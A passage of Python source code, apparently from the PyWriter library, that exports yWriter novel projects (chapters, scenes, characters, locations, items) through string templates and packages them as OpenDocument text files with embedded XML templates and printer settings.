ID=chId, ChapterNumber=chapterNumber, Title=self._convert_from_yw(self.chapters[chId].title, True), Desc=self._convert_from_yw(self.chapters[chId].desc), ProjectName=self._convert_from_yw(self.projectName, True), ProjectPath=self.projectPath, ) return chapterMapping def _get_sceneMapping(self, scId, sceneNumber, wordsTotal, lettersTotal): """Return a mapping dictionary for a scene section. Positional arguments: scId -- str: scene ID. sceneNumber -- int: scene number to be displayed. wordsTotal -- int: accumulated wordcount. lettersTotal -- int: accumulated lettercount. This is a template method that can be extended or overridden by subclasses. """ #--- Create a comma separated tag list. if sceneNumber == 0: sceneNumber = '' if self.scenes[scId].tags is not None: tags = self._get_string(self.scenes[scId].tags) else: tags = '' #--- Create a comma separated character list. try: # Note: Due to a bug, yWriter scenes might hold invalid # viepoint characters sChList = [] for chId in self.scenes[scId].characters: sChList.append(self.characters[chId].title) sceneChars = self._get_string(sChList) viewpointChar = sChList[0] except: sceneChars = '' viewpointChar = '' #--- Create a comma separated location list. if self.scenes[scId].locations is not None: sLcList = [] for lcId in self.scenes[scId].locations: sLcList.append(self.locations[lcId].title) sceneLocs = self._get_string(sLcList) else: sceneLocs = '' #--- Create a comma separated item list. if self.scenes[scId].items is not None: sItList = [] for itId in self.scenes[scId].items: sItList.append(self.items[itId].title) sceneItems = self._get_string(sItList) else: sceneItems = '' #--- Create A/R marker string. if self.scenes[scId].isReactionScene: reactionScene = Scene.REACTION_MARKER else: reactionScene = Scene.ACTION_MARKER #--- Create a combined scDate information. if self.scenes[scId].date is not None and self.scenes[scId].date != Scene.NULL_DATE: scDay = '' scDate = self.scenes[scId].date cmbDate = self.scenes[scId].date else: scDate = '' if self.scenes[scId].day is not None: scDay = self.scenes[scId].day cmbDate = f'Day {self.scenes[scId].day}' else: scDay = '' cmbDate = '' #--- Create a combined time information. if self.scenes[scId].time is not None and self.scenes[scId].date != Scene.NULL_DATE: scHour = '' scMinute = '' scTime = self.scenes[scId].time cmbTime = self.scenes[scId].time.rsplit(':', 1)[0] else: scTime = '' if self.scenes[scId].hour or self.scenes[scId].minute: if self.scenes[scId].hour: scHour = self.scenes[scId].hour else: scHour = '00' if self.scenes[scId].minute: scMinute = self.scenes[scId].minute else: scMinute = '00' cmbTime = f'{scHour.zfill(2)}:{scMinute.zfill(2)}' else: scHour = '' scMinute = '' cmbTime = '' #--- Create a combined duration information. if self.scenes[scId].lastsDays is not None and self.scenes[scId].lastsDays != '0': lastsDays = self.scenes[scId].lastsDays days = f'{self.scenes[scId].lastsDays}d ' else: lastsDays = '' days = '' if self.scenes[scId].lastsHours is not None and self.scenes[scId].lastsHours != '0': lastsHours = self.scenes[scId].lastsHours hours = f'{self.scenes[scId].lastsHours}h ' else: lastsHours = '' hours = '' if self.scenes[scId].lastsMinutes is not None and self.scenes[scId].lastsMinutes != '0': lastsMinutes = self.scenes[scId].lastsMinutes minutes = f'{self.scenes[scId].lastsMinutes}min' else: lastsMinutes = '' minutes = '' duration = f'{days}{hours}{minutes}' sceneMapping = dict( ID=scId, SceneNumber=sceneNumber, Title=self._convert_from_yw(self.scenes[scId].title, True), Desc=self._convert_from_yw(self.scenes[scId].desc), WordCount=str(self.scenes[scId].wordCount), WordsTotal=wordsTotal, LetterCount=str(self.scenes[scId].letterCount), LettersTotal=lettersTotal, Status=Scene.STATUS[self.scenes[scId].status], SceneContent=self._convert_from_yw(self.scenes[scId].sceneContent), FieldTitle1=self._convert_from_yw(self.fieldTitle1, True), FieldTitle2=self._convert_from_yw(self.fieldTitle2, True), FieldTitle3=self._convert_from_yw(self.fieldTitle3, True), FieldTitle4=self._convert_from_yw(self.fieldTitle4, True), Field1=self.scenes[scId].field1, Field2=self.scenes[scId].field2, Field3=self.scenes[scId].field3, Field4=self.scenes[scId].field4, Date=scDate, Time=scTime, Day=scDay, Hour=scHour, Minute=scMinute, ScDate=cmbDate, ScTime=cmbTime, LastsDays=lastsDays, LastsHours=lastsHours, LastsMinutes=lastsMinutes, Duration=duration, ReactionScene=reactionScene, Goal=self._convert_from_yw(self.scenes[scId].goal), Conflict=self._convert_from_yw(self.scenes[scId].conflict), Outcome=self._convert_from_yw(self.scenes[scId].outcome), Tags=self._convert_from_yw(tags, True), Image=self.scenes[scId].image, Characters=sceneChars, Viewpoint=viewpointChar, Locations=sceneLocs, Items=sceneItems, Notes=self._convert_from_yw(self.scenes[scId].sceneNotes), ProjectName=self._convert_from_yw(self.projectName, True), ProjectPath=self.projectPath, ) return sceneMapping def _get_characterMapping(self, crId): """Return a mapping dictionary for a character section. Positional arguments: crId -- str: character ID. This is a template method that can be extended or overridden by subclasses. """ if self.characters[crId].tags is not None: tags = self._get_string(self.characters[crId].tags) else: tags = '' if self.characters[crId].isMajor: characterStatus = Character.MAJOR_MARKER else: characterStatus = Character.MINOR_MARKER characterMapping = dict( ID=crId, Title=self._convert_from_yw(self.characters[crId].title, True), Desc=self._convert_from_yw(self.characters[crId].desc), Tags=self._convert_from_yw(tags), Image=self.characters[crId].image, AKA=self._convert_from_yw(self.characters[crId].aka, True), Notes=self._convert_from_yw(self.characters[crId].notes), Bio=self._convert_from_yw(self.characters[crId].bio), Goals=self._convert_from_yw(self.characters[crId].goals), FullName=self._convert_from_yw(self.characters[crId].fullName, True), Status=characterStatus, ProjectName=self._convert_from_yw(self.projectName), ProjectPath=self.projectPath, ) return characterMapping def _get_locationMapping(self, lcId): """Return a mapping dictionary for a location section. Positional arguments: lcId -- str: location ID. This is a template method that can be extended or overridden by subclasses. """ if self.locations[lcId].tags is not None: tags = self._get_string(self.locations[lcId].tags) else: tags = '' locationMapping = dict( ID=lcId, Title=self._convert_from_yw(self.locations[lcId].title, True), Desc=self._convert_from_yw(self.locations[lcId].desc), Tags=self._convert_from_yw(tags, True), Image=self.locations[lcId].image, AKA=self._convert_from_yw(self.locations[lcId].aka, True), ProjectName=self._convert_from_yw(self.projectName, True), ProjectPath=self.projectPath, ) return locationMapping def _get_itemMapping(self, itId): """Return a mapping dictionary for an item section. Positional arguments: itId -- str: item ID. This is a template method that can be extended or overridden by subclasses. """ if self.items[itId].tags is not None: tags = self._get_string(self.items[itId].tags) else: tags = '' itemMapping = dict( ID=itId, Title=self._convert_from_yw(self.items[itId].title, True), Desc=self._convert_from_yw(self.items[itId].desc), Tags=self._convert_from_yw(tags, True), Image=self.items[itId].image, AKA=self._convert_from_yw(self.items[itId].aka, True), ProjectName=self._convert_from_yw(self.projectName, True), ProjectPath=self.projectPath, ) return itemMapping def _get_fileHeader(self): """Process the file header. Apply the file header template, substituting placeholders according to the file header mapping dictionary. Return a list of strings. This is a template method that can be extended or overridden by subclasses. """ lines = [] template = Template(self._fileHeader) lines.append(template.safe_substitute(self._get_fileHeaderMapping())) return lines def _get_scenes(self, chId, sceneNumber, wordsTotal, lettersTotal, doNotExport): """Process the scenes. Positional arguments: chId -- str: chapter ID. sceneNumber -- int: number of previously processed scenes. wordsTotal -- int: accumulated wordcount of the previous scenes. lettersTotal -- int: accumulated lettercount of the previous scenes. doNotExport -- bool: scene belongs to a chapter that is not to be exported. Iterate through a sorted scene list and apply the templates, substituting placeholders according to the scene mapping dictionary. Skip scenes not accepted by the scene filter. Return a tuple: lines -- list of strings: the lines of the processed scene. sceneNumber -- int: number of all processed scenes. wordsTotal -- int: accumulated wordcount of all processed scenes. lettersTotal -- int: accumulated lettercount of all processed scenes. This is a template method that can be extended or overridden by subclasses. """ lines = [] firstSceneInChapter = True for scId in self.chapters[chId].srtScenes: dispNumber = 0 if not self._sceneFilter.accept(self, scId): continue # The order counts; be aware that "Todo" and "Notes" scenes are # always unused. if self.scenes[scId].isTodoScene: if self._todoSceneTemplate: template = Template(self._todoSceneTemplate) else: continue elif self.scenes[scId].isNotesScene: # Scene is "Notes" type. if self._notesSceneTemplate: template = Template(self._notesSceneTemplate) else: continue elif self.scenes[scId].isUnused or self.chapters[chId].isUnused: if self._unusedSceneTemplate: template = Template(self._unusedSceneTemplate) else: continue elif self.chapters[chId].oldType == 1: # Scene is "Info" type (old file format). if self._notesSceneTemplate: template = Template(self._notesSceneTemplate) else: continue elif self.scenes[scId].doNotExport or doNotExport: if self._notExportedSceneTemplate: template = Template(self._notExportedSceneTemplate) else: continue else: sceneNumber += 1 dispNumber = sceneNumber wordsTotal += self.scenes[scId].wordCount lettersTotal += self.scenes[scId].letterCount template = Template(self._sceneTemplate) if not firstSceneInChapter and self.scenes[scId].appendToPrev and self._appendedSceneTemplate: template = Template(self._appendedSceneTemplate) if not (firstSceneInChapter or self.scenes[scId].appendToPrev): lines.append(self._sceneDivider) if firstSceneInChapter and self._firstSceneTemplate: template = Template(self._firstSceneTemplate) lines.append(template.safe_substitute(self._get_sceneMapping( scId, dispNumber, wordsTotal, lettersTotal))) firstSceneInChapter = False return lines, sceneNumber, wordsTotal, lettersTotal def _get_chapters(self): """Process the chapters and nested scenes. Iterate through the sorted chapter list and apply the templates, substituting placeholders according to the chapter mapping dictionary. For each chapter call the processing of its included scenes. Skip chapters not accepted by the chapter filter. Return a list of strings. This is a template method that can be extended or overridden by subclasses. """ lines = [] chapterNumber = 0 sceneNumber = 0 wordsTotal = 0 lettersTotal = 0 for chId in self.srtChapters: dispNumber = 0 if not self._chapterFilter.accept(self, chId): continue # The order counts; be aware that "Todo" and "Notes" chapters are # always unused. # Has the chapter only scenes not to be exported? sceneCount = 0 notExportCount = 0 doNotExport = False template = None for scId in self.chapters[chId].srtScenes: sceneCount += 1 if self.scenes[scId].doNotExport: notExportCount += 1 if sceneCount > 0 and notExportCount == sceneCount: doNotExport = True if self.chapters[chId].chType == 2: # Chapter is "ToDo" type (implies "unused"). if self._todoChapterTemplate: template = Template(self._todoChapterTemplate) elif self.chapters[chId].chType == 1: # Chapter is "Notes" type (implies "unused"). if self._notesChapterTemplate: template = Template(self._notesChapterTemplate) elif self.chapters[chId].isUnused: # Chapter is "really" unused. if self._unusedChapterTemplate: template = Template(self._unusedChapterTemplate) elif self.chapters[chId].oldType == 1: # Chapter is "Info" type (old file format). if self._notesChapterTemplate: template = Template(self._notesChapterTemplate) elif doNotExport: if self._notExportedChapterTemplate: template = Template(self._notExportedChapterTemplate) elif self.chapters[chId].chLevel == 1 and self._partTemplate: template = Template(self._partTemplate) else: template = Template(self._chapterTemplate) chapterNumber += 1 dispNumber = chapterNumber if template is not None: lines.append(template.safe_substitute(self._get_chapterMapping(chId, dispNumber))) #--- Process scenes. sceneLines, sceneNumber, wordsTotal, lettersTotal = self._get_scenes( chId, sceneNumber, wordsTotal, lettersTotal, doNotExport) lines.extend(sceneLines) #--- Process chapter ending. template = None if self.chapters[chId].chType == 2: if self._todoChapterEndTemplate: template = Template(self._todoChapterEndTemplate) elif self.chapters[chId].chType == 1: if self._notesChapterEndTemplate: template = Template(self._notesChapterEndTemplate) elif self.chapters[chId].isUnused: if self._unusedChapterEndTemplate: template = Template(self._unusedChapterEndTemplate) elif self.chapters[chId].oldType == 1: if self._notesChapterEndTemplate: template = Template(self._notesChapterEndTemplate) elif doNotExport: if self._notExportedChapterEndTemplate: template = Template(self._notExportedChapterEndTemplate) elif self._chapterEndTemplate: template = Template(self._chapterEndTemplate) if template is not None: lines.append(template.safe_substitute(self._get_chapterMapping(chId, dispNumber))) return lines def _get_characters(self): """Process the characters. Iterate through the sorted character list and apply the template, substituting placeholders according to the character mapping dictionary. Skip characters not accepted by the character filter. Return a list of strings. This is a template method that can be extended or overridden by subclasses. """ if self._characterSectionHeading: lines = [self._characterSectionHeading] else: lines = [] template = Template(self._characterTemplate) for crId in self.srtCharacters: if self._characterFilter.accept(self, crId): lines.append(template.safe_substitute(self._get_characterMapping(crId))) return lines def _get_locations(self): """Process the locations. Iterate through the sorted location list and apply the template, substituting placeholders according to the location mapping dictionary. Skip locations not accepted by the location filter. Return a list of strings. This is a template method that can be extended or overridden by subclasses. """ if self._locationSectionHeading: lines = [self._locationSectionHeading] else: lines = [] template = Template(self._locationTemplate) for lcId in self.srtLocations: if self._locationFilter.accept(self, lcId): lines.append(template.safe_substitute(self._get_locationMapping(lcId))) return lines def _get_items(self): """Process the items. Iterate through the sorted item list and apply the template, substituting placeholders according to the item mapping dictionary. Skip items not accepted by the item filter. Return a list of strings. This is a template method that can be extended or overridden by subclasses. """ if self._itemSectionHeading: lines = [self._itemSectionHeading] else: lines = [] template = Template(self._itemTemplate) for itId in self.srtItems: if self._itemFilter.accept(self, itId): lines.append(template.safe_substitute(self._get_itemMapping(itId))) return lines def _get_text(self): """Call all processing methods. Return a string to be written to the output file. This is a template method that can be extended or overridden by subclasses. """ lines = self._get_fileHeader() lines.extend(self._get_chapters()) lines.extend(self._get_characters()) lines.extend(self._get_locations()) lines.extend(self._get_items()) lines.append(self._fileFooter) return ''.join(lines) def write(self): """Write instance variables to the export file. Create a template-based output file. Return a message beginning with the ERROR constant in case of error. """ text = self._get_text() backedUp = False if os.path.isfile(self.filePath): try: os.replace(self.filePath, f'{self.filePath}.bak') backedUp = True except: return f'{ERROR}Cannot overwrite "{os.path.normpath(self.filePath)}".' try: with open(self.filePath, 'w', encoding='utf-8') as f: f.write(text) except: if backedUp: os.replace(f'{self.filePath}.bak', self.filePath) return f'{ERROR}Cannot write "{os.path.normpath(self.filePath)}".' return f'"{os.path.normpath(self.filePath)}" written.' def _get_string(self, elements): """Join strings from a list. Return a string which is the concatenation of the members of the list of strings "elements", separated by a comma plus a space. The space allows word wrap in spreadsheet cells. """ text = (', ').join(elements) return text def _convert_from_yw(self, text, quick=False): """Return text, converted from yw7 markup to target format. Positional arguments: text -- string to convert. Optional arguments: quick -- bool: if True, apply a conversion mode for one-liners without formatting. Overrides the superclass method. """ if text is None: text = '' return(text) class OdfFile(FileExport): """Generic OpenDocument xml file representation. Public methods: write() -- write instance variables to the export file. """ _ODF_COMPONENTS = [] _MIMETYPE = '' _SETTINGS_XML = '' _MANIFEST_XML = '' _STYLES_XML = '' _META_XML = '' def __init__(self, filePath, **kwargs): """Create a temporary directory for zipfile generation. Positional arguments: filePath -- str: path to the file represented by the Novel instance. Optional arguments: kwargs -- keyword arguments to be used by subclasses. Extends the superclass constructor, """ super().__init__(filePath, **kwargs) self._tempDir = tempfile.mkdtemp(suffix='.tmp', prefix='odf_') self._originalPath = self._filePath def __del__(self): """Make sure to delete the temporary directory, in case write() has not been called.""" self._tear_down() def _tear_down(self): """Delete the temporary directory containing the unpacked ODF directory structure.""" try: rmtree(self._tempDir) except: pass def _set_up(self): """Helper method for ZIP file generation. Prepare the temporary directory containing the internal structure of an ODF file except 'content.xml'. Return a message beginning with the ERROR constant in case of error. """ #--- Create and open a temporary directory for the files to zip. try: self._tear_down() os.mkdir(self._tempDir) os.mkdir(f'{self._tempDir}/META-INF') except: return f'{ERROR}Cannot create "{os.path.normpath(self._tempDir)}".' #--- Generate mimetype. try: with open(f'{self._tempDir}/mimetype', 'w', encoding='utf-8') as f: f.write(self._MIMETYPE) except: return f'{ERROR}Cannot write "mimetype"' #--- Generate settings.xml. try: with open(f'{self._tempDir}/settings.xml', 'w', encoding='utf-8') as f: f.write(self._SETTINGS_XML) except: return f'{ERROR}Cannot write "settings.xml"' #--- Generate META-INF\manifest.xml. try: with open(f'{self._tempDir}/META-INF/manifest.xml', 'w', encoding='utf-8') as f: f.write(self._MANIFEST_XML) except: return f'{ERROR}Cannot write "manifest.xml"' #--- Generate styles.xml with system language set as document language. lng, ctr = locale.getdefaultlocale()[0].split('_') localeMapping = dict( Language=lng, Country=ctr, ) template = Template(self._STYLES_XML) text = template.safe_substitute(localeMapping) try: with open(f'{self._tempDir}/styles.xml', 'w', encoding='utf-8') as f: f.write(text) except: return f'{ERROR}Cannot write "styles.xml"' #--- Generate meta.xml with actual document metadata. metaMapping = dict( Author=self.authorName, Title=self.title, Summary=f'<![CDATA[{self.desc}]]>', Datetime=datetime.today().replace(microsecond=0).isoformat(), ) template = Template(self._META_XML) text = template.safe_substitute(metaMapping) try: with open(f'{self._tempDir}/meta.xml', 'w', encoding='utf-8') as f: f.write(text) except: return f'{ERROR}Cannot write "meta.xml".' return 'ODF structure generated.' def write(self): """Write instance variables to the export file. Create a template-based output file. Return a message beginning with the ERROR constant in case of error. Extends the super class method, adding ZIP file operations. """ #--- Create a temporary directory # containing the internal structure of an ODS file except "content.xml". message = self._set_up() if message.startswith(ERROR): return message #--- Add "content.xml" to the temporary directory. self._originalPath = self._filePath self._filePath = f'{self._tempDir}/content.xml' message = super().write() self._filePath = self._originalPath if message.startswith(ERROR): return message #--- Pack the contents of the temporary directory into the ODF file. workdir = os.getcwd() backedUp = False if os.path.isfile(self.filePath): try: os.replace(self.filePath, f'{self.filePath}.bak') backedUp = True except: return f'{ERROR}Cannot overwrite "{os.path.normpath(self.filePath)}".' try: with zipfile.ZipFile(self.filePath, 'w') as odfTarget: os.chdir(self._tempDir) for file in self._ODF_COMPONENTS: odfTarget.write(file, compress_type=zipfile.ZIP_DEFLATED) except: if backedUp: os.replace(f'{self.filePath}.bak', self.filePath) os.chdir(workdir) return f'{ERROR}Cannot generate "{os.path.normpath(self.filePath)}".' #--- Remove temporary data. os.chdir(workdir) self._tear_down() return f'"{os.path.normpath(self.filePath)}" written.' class OdtFile(OdfFile): """Generic OpenDocument text document representation.""" EXTENSION = '.odt' # overwrites Novel.EXTENSION _ODF_COMPONENTS = ['manifest.rdf', 'META-INF', 'content.xml', 'meta.xml', 'mimetype', 'settings.xml', 'styles.xml', 'META-INF/manifest.xml'] _CONTENT_XML_HEADER = '''<?xml version="1.0" encoding="UTF-8"?> <office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" office:version="1.2"> <office:scripts/> <office:font-face-decls> <style:font-face style:name="StarSymbol" svg:font-family="StarSymbol" style:font-charset="x-symbol"/> <style:font-face style:name="Courier New" svg:font-family="&apos;Courier New&apos;" style:font-adornments="Standard" style:font-family-generic="modern" style:font-pitch="fixed"/> </office:font-face-decls> <office:automatic-styles/> <office:body> <office:text text:use-soft-page-breaks="true"> ''' _CONTENT_XML_FOOTER = ''' </office:text> </office:body> </office:document-content> ''' _META_XML = '''<?xml version="1.0" encoding="utf-8"?> <office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" office:version="1.2"> <office:meta> <meta:generator>PyWriter</meta:generator> <dc:title>$Title</dc:title> <dc:description>$Summary</dc:description> <dc:subject></dc:subject> <meta:keyword></meta:keyword> <meta:initial-creator>$Author</meta:initial-creator> <dc:creator></dc:creator> <meta:creation-date>${Datetime}Z</meta:creation-date> <dc:date></dc:date> </office:meta> </office:document-meta> ''' _MANIFEST_XML = '''<?xml version="1.0" encoding="utf-8"?> <manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2"> <manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:full-path="/" /> <manifest:file-entry manifest:media-type="application/xml" manifest:full-path="content.xml" manifest:version="1.2" /> <manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf" manifest:version="1.2" /> <manifest:file-entry manifest:media-type="application/xml" manifest:full-path="styles.xml" manifest:version="1.2" /> <manifest:file-entry manifest:media-type="application/xml" manifest:full-path="meta.xml" manifest:version="1.2" /> <manifest:file-entry manifest:media-type="application/xml" manifest:full-path="settings.xml" manifest:version="1.2" /> </manifest:manifest> ''' _MANIFEST_RDF = '''<?xml version="1.0" encoding="utf-8"?> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="styles.xml"> <rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/> </rdf:Description> <rdf:Description rdf:about=""> <ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/> </rdf:Description> <rdf:Description rdf:about="content.xml"> <rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/> </rdf:Description> <rdf:Description rdf:about=""> <ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/> </rdf:Description> <rdf:Description rdf:about=""> <rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/> </rdf:Description> </rdf:RDF> ''' _SETTINGS_XML = '''<?xml version="1.0" encoding="UTF-8"?> <office:document-settings xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" office:version="1.2"> <office:settings> <config:config-item-set config:name="ooo:view-settings"> <config:config-item config:name="ViewAreaTop" config:type="int">0</config:config-item> <config:config-item config:name="ViewAreaLeft" config:type="int">0</config:config-item> <config:config-item config:name="ViewAreaWidth" config:type="int">30508</config:config-item> <config:config-item config:name="ViewAreaHeight" config:type="int">27783</config:config-item> <config:config-item config:name="ShowRedlineChanges" config:type="boolean">true</config:config-item> <config:config-item config:name="InBrowseMode" config:type="boolean">false</config:config-item> <config:config-item-map-indexed config:name="Views"> <config:config-item-map-entry> <config:config-item config:name="ViewId" config:type="string">view2</config:config-item> <config:config-item config:name="ViewLeft" config:type="int">8079</config:config-item> <config:config-item config:name="ViewTop" config:type="int">3501</config:config-item> <config:config-item config:name="VisibleLeft" config:type="int">0</config:config-item> <config:config-item config:name="VisibleTop" config:type="int">0</config:config-item> <config:config-item config:name="VisibleRight" config:type="int">30506</config:config-item> <config:config-item config:name="VisibleBottom" config:type="int">27781</config:config-item> <config:config-item config:name="ZoomType" config:type="short">0</config:config-item> <config:config-item config:name="ViewLayoutColumns" config:type="short">0</config:config-item> <config:config-item config:name="ViewLayoutBookMode" config:type="boolean">false</config:config-item> <config:config-item config:name="ZoomFactor" config:type="short">100</config:config-item> <config:config-item config:name="IsSelectedFrame" config:type="boolean">false</config:config-item> </config:config-item-map-entry> </config:config-item-map-indexed> </config:config-item-set> <config:config-item-set config:name="ooo:configuration-settings"> <config:config-item config:name="AddParaSpacingToTableCells" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintPaperFromSetup" config:type="boolean">false</config:config-item> <config:config-item config:name="IsKernAsianPunctuation" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintReversed" config:type="boolean">false</config:config-item> <config:config-item config:name="LinkUpdateMode" config:type="short">1</config:config-item> <config:config-item config:name="DoNotCaptureDrawObjsOnPage" config:type="boolean">false</config:config-item> <config:config-item config:name="SaveVersionOnClose" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintEmptyPages" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintSingleJobs" config:type="boolean">false</config:config-item> <config:config-item config:name="AllowPrintJobCancel" config:type="boolean">true</config:config-item> <config:config-item config:name="AddFrameOffsets" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintLeftPages" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintTables" config:type="boolean">true</config:config-item> <config:config-item config:name="ProtectForm" config:type="boolean">false</config:config-item> <config:config-item config:name="ChartAutoUpdate" config:type="boolean">true</config:config-item> <config:config-item config:name="PrintControls" config:type="boolean">true</config:config-item> <config:config-item config:name="PrinterSetup" config:type="base64Binary">8gT+/0hQIExhc2VySmV0IFAyMDE0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASFAgTGFzZXJKZXQgUDIwMTQAAAAAAAAAAAAAAAAAAAAWAAEAGAQAAAAAAAAEAAhSAAAEdAAAM1ROVwIACABIAFAAIABMAGEAcwBlAHIASgBlAHQAIABQADIAMAAxADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQDANwANAMPnwAAAQAJAJoLNAgAAAEABwBYAgEAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU0RETQAGAAAABgAASFAgTGFzZXJKZXQgUDIwMTQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAEAAAAJAAAACQAAAAkAAAAJAAAACQAAAAkAAAAJAAAACQAAAAkAAAAJAAAACQAAAAkAAAAJAAAACQAAAAkAAAAJAAAACQAAAAAAAAABAAAAAQAAABoEAAAAAAAAAAAAAAAAAAAPAAAALQAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAgICAAP8AAAD//wAAAP8AAAD//wAAAP8A/wD/AAAAAAAAAAAAAAAAAAAAAAAoAAAAZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADeAwAA3gMAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABrjvBgNAMAAAAAAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAQ09NUEFUX0RVUExFWF9NT0RFCgBEVVBMRVhfT0ZG</config:config-item> <config:config-item config:name="CurrentDatabaseDataSource" config:type="string"/> <config:config-item config:name="LoadReadonly" config:type="boolean">false</config:config-item> <config:config-item config:name="CurrentDatabaseCommand" config:type="string"/> <config:config-item config:name="ConsiderTextWrapOnObjPos" config:type="boolean">false</config:config-item> <config:config-item config:name="ApplyUserData" config:type="boolean">true</config:config-item> <config:config-item config:name="AddParaTableSpacing" config:type="boolean">true</config:config-item> <config:config-item config:name="FieldAutoUpdate" config:type="boolean">true</config:config-item> <config:config-item config:name="IgnoreFirstLineIndentInNumbering" config:type="boolean">false</config:config-item> <config:config-item config:name="TabsRelativeToIndent" config:type="boolean">true</config:config-item> <config:config-item config:name="IgnoreTabsAndBlanksForLineCalculation" config:type="boolean">false</config:config-item> <config:config-item config:name="PrintAnnotationMode" config:type="short">0</config:config-item> <config:config-item config:name="AddParaTableSpacingAtStart" config:type="boolean">true</config:config-item> <config:config-item config:name="UseOldPrinterMetrics" config:type="boolean">false</config:config-item> <config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-item> <config:config-item config:name="PrinterName" config:type="string">HP LaserJet P2014</config:config-item> <config:config-item 